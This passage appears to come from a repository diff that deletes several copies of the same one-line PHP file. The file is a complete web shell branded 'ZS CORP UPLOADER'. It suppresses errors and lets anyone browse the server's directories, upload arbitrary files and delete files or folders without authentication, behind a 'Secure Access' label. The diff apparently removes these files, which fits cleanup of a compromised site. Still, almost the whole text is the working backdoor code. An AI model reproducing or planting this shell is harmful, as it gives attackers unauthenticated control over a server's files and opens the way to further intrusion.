target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d 